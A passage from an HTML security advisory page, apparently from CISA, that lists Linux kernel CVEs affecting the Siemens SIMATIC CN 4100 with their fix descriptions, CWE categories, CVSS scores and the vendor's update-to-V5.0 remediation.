</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39693</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Avoid a NULL pointer dereference [WHY] Although unlikely drm_atomic_get_new_connector_state() or drm_atomic_get_old_connector_state() can return NULL. [HOW] Check returns before dereference. (cherry picked from commit 1e5e8d672fec9f2ab352be121be971877bff2af9)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39693">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39694</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: s390/sclp: Fix SCCB present check Tracing code called by the SCLP interrupt handler contains early exits if the SCCB address associated with an interrupt is NULL. This check is performed after physical to virtual address translation. If the kernel identity mapping does not start at address zero, the resulting virtual address is never zero, so that the NULL checks won't work. Subsequently this may result in incorrect accesses to the first page of the identity mapping. Fix this by introducing a function that handles the NULL case before address translation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39694">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1285.html">CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39697</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFS: Fix a race when updating an existing write After nfs_lock_and_join_requests() tests for whether the request is still attached to the mapping, nothing prevents a call to nfs_inode_remove_request() from succeeding until we actually lock the page group. The reason is that whoever called nfs_inode_remove_request() doesn't necessarily have a lock on the page group head. So in order to avoid races, let's take the page group lock earlier in nfs_lock_and_join_requests(), and hold it across the removal of the request in nfs_inode_remove_request().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39697">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39701</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ACPI: pfr_update: Fix the driver update version check The security-version-number check should be used rather than the runtime version check for driver updates. Otherwise, the firmware update would fail when the update binary had a lower runtime version number than the current one. [ rjw: Changelog edits ]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39701">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1025.html">CWE-1025 Comparison Using Wrong Factors</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39702</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: sr: Fix MAC comparison to be constant-time To prevent timing attacks, MACs need to be compared in constant time. Use the appropriate helper function for this.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39702">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/208.html">CWE-208 Observable Timing Discrepancy</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39703</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net, hsr: reject HSR frame if skb can't hold tag Receiving HSR frame with insufficient space to hold HSR tag in the skb can result in a crash (kernel BUG): [ 45.390915] skbuff: skb_under_panic: text:ffffffff86f32cac len:26 put:14 head:ffff888042418000 data:ffff888042417ff4 tail:0xe end:0x180 dev:bridge_slave_1 [ 45.392559] ------------[ cut here ]------------ [ 45.392912] kernel BUG at net/core/skbuff.c:211! [ 45.393276] Oops: invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI [ 45.393809] CPU: 1 UID: 0 PID: 2496 Comm: reproducer Not tainted 6.15.0 #12 PREEMPT(undef) [ 45.394433] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 45.395273] RIP: 0010:skb_panic+0x15b/0x1d0 [ 45.402911] Call Trace: [ 45.403105] [ 45.404470] skb_push+0xcd/0xf0 [ 45.404726] br_dev_queue_push_xmit+0x7c/0x6c0 [ 45.406513] br_forward_finish+0x128/0x260 [ 45.408483] __br_forward+0x42d/0x590 [ 45.409464] maybe_deliver+0x2eb/0x420 [ 45.409763] br_flood+0x174/0x4a0 [ 45.410030] br_handle_frame_finish+0xc7c/0x1bc0 [ 45.411618] br_handle_frame+0xac3/0x1230 [ 45.413674] __netif_receive_skb_core.constprop.0+0x808/0x3df0 [ 45.422966] __netif_receive_skb_one_core+0xb4/0x1f0 [ 45.424478] __netif_receive_skb+0x22/0x170 [ 45.424806] process_backlog+0x242/0x6d0 [ 45.425116] __napi_poll+0xbb/0x630 [ 45.425394] net_rx_action+0x4d1/0xcc0 [ 45.427613] handle_softirqs+0x1a4/0x580 [ 45.427926] do_softirq+0x74/0x90 [ 45.428196] This issue was found by syzkaller. The panic happens in br_dev_queue_push_xmit() once it receives a corrupted skb with ETH header already pushed in linear data. When it attempts the skb_push() call, there's not enough headroom and skb_push() panics. The corrupted skb is put on the queue by HSR layer, which makes a sequence of unintended transformations when it receives a specific corrupted HSR frame (with incomplete TAG). Fix it by dropping and consuming frames that are not long enough to contain both ethernet and hsr headers. Alternative fix would be to check for enough headroom before skb_push() in br_dev_queue_push_xmit(). In the reproducer, this is injected via AF_PACKET, but I don't easily see why it couldn't be sent over the wire from adjacent network. Further Details: In the reproducer, the following network interface chain is set up: ┌────────────────┐ ┌────────────────┐ │ veth0_to_hsr ├───┤ hsr_slave0 ┼───┐ └────────────────┘ └────────────────┘ │ │ ┌──────┐ ├─┤ hsr0 ├───┐ │ └──────┘ │ ┌────────────────┐ ┌────────────────┐ │ │┌────────┐ │ veth1_to_hsr ┼───┤ hsr_slave1 ├───┘ └┤ │ └────────────────┘ └────────────────┘ ┌┼ bridge │ ││ │ │└────────┘ │ ┌───────┐ │ │ ... ├──────┘ └───────┘ To trigger the events leading up to crash, reproducer sends a corrupted HSR fr ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39703">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1286.html">CWE-1286 Improper Validation of Syntactic Correctness of Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39706</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Destroy KFD debugfs after destroy KFD wq Since KFD proc content was moved to kernel debugfs, we can't destroy KFD debugfs before kfd_process_destroy_wq. Move kfd_process_destroy_wq prior to kfd_debugfs_fini to fix a kernel NULL pointer problem. It happens when /sys/kernel/debug/kfd was already destroyed in kfd_debugfs_fini but kfd_process_destroy_wq calls kfd_debugfs_remove_process. This line debugfs_remove_recursive(entry-&gt;proc_dentry); tries to remove /sys/kernel/debug/kfd/proc/ while /sys/kernel/debug/kfd is already gone. It hangs the kernel by kernel NULL pointer. (cherry picked from commit 0333052d90683d88531558dcfdbf2525cc37c233)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39706">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39709</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: media: venus: protect against spurious interrupts during probe Make sure the interrupt handler is initialized before the interrupt is registered. If the IRQ is registered before hfi_create(), it's possible that an interrupt fires before the handler setup is complete, leading to a NULL dereference. This error condition has been observed during system boot on Rb3Gen2.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39709">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39710</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: media: venus: Add a check for packet size after reading from shared memory Add a check to ensure that the packet size does not exceed the number of available words after reading the packet header from shared memory. This ensures that the size provided by the firmware is safe to process and prevent potential out-of-bounds memory access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39710">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39713</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: media: rainshadow-cec: fix TOCTOU race condition in rain_interrupt() In the interrupt handler rain_interrupt(), the buffer full check on rain-&gt;buf_len is performed before acquiring rain-&gt;buf_lock. This creates a Time-of-Check to Time-of-Use (TOCTOU) race condition, as rain-&gt;buf_len is concurrently accessed and modified in the work handler rain_irq_work_handler() under the same lock. Multiple interrupt invocations can race, with each reading buf_len before it becomes full and then proceeding. This can lead to both interrupts attempting to write to the buffer, incrementing buf_len beyond its capacity (DATA_SIZE) and causing a buffer overflow. Fix this bug by moving the spin_lock() to before the buffer full check. This ensures that the check and the subsequent buffer modification are performed atomically, preventing the race condition. An corresponding spin_unlock() is added to the overflow path to correctly release the lock. This possible bug was found by an experimental static analysis tool developed by our team.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39713">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39714</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: media: usbtv: Lock resolution while streaming When an program is streaming (ffplay) and another program (qv4l2) changes the TV standard from NTSC to PAL, the kernel crashes due to trying to copy to unmapped memory. Changing from NTSC to PAL increases the resolution in the usbtv struct, but the video plane buffer isn't adjusted, so it overflows. [hverkuil: call vb2_is_busy instead of vb2_is_streaming]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39714">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39715</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: parisc: Revise gateway LWS calls to probe user read access We use load and stbys,e instructions to trigger memory reference interruptions without writing to memory. Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel and gateway page execute at privilege level 0, so this code never triggers a read access interruption. Thus, it is currently possible for user code to execute a LWS compare and swap operation at an address that is read protected at privilege level 3 (PRIV_USER). Fix this by probing read access rights at privilege level 3 and branching to lws_fault if access isn't allowed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39715">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39716</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: parisc: Revise __get_user() to probe user read access Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel executes at privilege level 0, so __get_user() never triggers a read access interruption (code 26). Thus, it is currently possible for user code to access a read protected address via a system call. Fix this by probing read access rights at privilege level 3 (PRIV_USER) and setting __gu_err to -EFAULT (-14) if access isn't allowed. Note the cmpiclr instruction does a 32-bit compare because COND macro doesn't work inside asm.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39716">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
